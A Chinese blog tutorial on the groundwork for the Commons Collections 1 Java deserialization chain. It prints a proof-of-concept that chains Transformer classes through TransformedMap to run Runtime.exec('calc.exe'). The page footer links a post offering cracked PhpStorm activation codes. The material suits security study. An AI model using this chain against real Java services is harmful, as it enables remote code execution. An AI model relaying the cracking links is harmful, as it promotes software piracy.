Java安全之Commons Collections1分析前置知识

Java安全之CommonsCollections1分析前置知识0x00前言CommonsCollections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。ApacheC

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections1分析前置知识

0x00 前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

0x01 前置知识

这里先来看一段网上找的,poc代码

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

先不管具体的实现,先来查看一下运行结果。

 Java安全之Commons Collections1分析前置知识

在调试这条链的时候会设置到一些没接触过的类,在调试前需要了解到这些类的一个作用,方便后面的理解。

Transformer

Transformer是Commons Collections中提供的一个接口

 Java安全之Commons Collections1分析前置知识

ConstantTransformer

ConstantTransformer是Transformer的实现类

 Java安全之Commons Collections1分析前置知识

在构造方法里面对iconstant进行传值,而其他的几个方法都是获取iconstant的值。

InvokerTransformer

InvokerTransformer也是Transformer的实现类,

 Java安全之Commons Collections1分析前置知识

在构造方法中有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。

里面还提供了一个Transform的方法,该方法可以通过Java反射机制来进行执行任意代码。

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,

 Java安全之Commons Collections1分析前置知识

 Java安全之Commons Collections1分析前置知识

看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。

Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer。

参考文章

https://www.cnblogs.com/litlife/p/12571787.html#transformer
https://xz.aliyun.com/t/7031#toc-8

0x02 未完续

CC链的调试比URLDNS要麻烦不少,调试的时候需要大量的知识填充。继续mark中。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119912.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • phpstom激活码2021【在线破解激活】

    phpstom激活码2021【在线破解激活】,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月17日
    52
  • Redis应用-异步消息队列与延时队列

    Redis应用-异步消息队列与延时队列

    2022年2月18日
    39
  • ViewState 剖析

    ViewState 剖析 ViewState不是什么?1.ViewState不是用来恢复回发的控件的值。这个是通过匹配form中该控件的变量名而自动完成的。这个只对Load事件加载之前创建的控件有效。2.ViewState不会自动重新创建任何通过代码动态创建的控件。3.不是用来保存用户信息的。仅仅保存本页的控件状态,而不能在页面之间传递。ViewState是什么?ViewState用来

    2022年7月21日
    13
  • 汉罗塔c++递归_栈与递归的区别

    汉罗塔c++递归_栈与递归的区别汉罗塔问题是一个非常经典的算法,我们首先来研究一下修改的汉罗塔(简化步骤),在后面我们将来讲述经典的汉罗塔问题。题目:修改后的汉罗塔的规则:现在限制不能从最左侧的塔直接移动到最右侧,必需要经过中间;同时从最右侧移动到最左测试,同样必需经过中间;要求移动N层塔时,打印最优移动1、用递归函数实现(从最左移动到最右)分析:-当只有一层塔时,我们先需要将其从左移到中间,再从中间移动到右边,共分为

    2022年10月11日
    1
  • 如何利用IDM加速下载百度网盘大文件

    如何利用IDM加速下载百度网盘大文件如何利用IDM加速下载百度网盘大文件(以下内容来自扩展迷EXTFANS,侵权可删)一、开发背景二、功能介绍三、如何下载百度网盘大文件1、安装IDM软件2、配置IDM软件3、安装油猴脚本4、下载百度网盘文件一、开发背景谷歌浏览器纵使有许多优点,但下载管理这方面依然是其劣势。Chrome的原生下载管理功能,谁用了大概都要说一句“鸡肋”。不仅入口需要打开二级菜单,而且连最基本的一些执行操作都不支持。每当在浏览网页时,我们经常看到一些有趣的视频想要下载下来。这时候,就只有通过视频嗅探工具来实现。而在面对百度网盘

    2022年6月29日
    31
  • R6010 -abort() has been called错误分析及其解决方法

    R6010 -abort() has been called错误分析及其解决方法

    2022年1月30日
    69

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号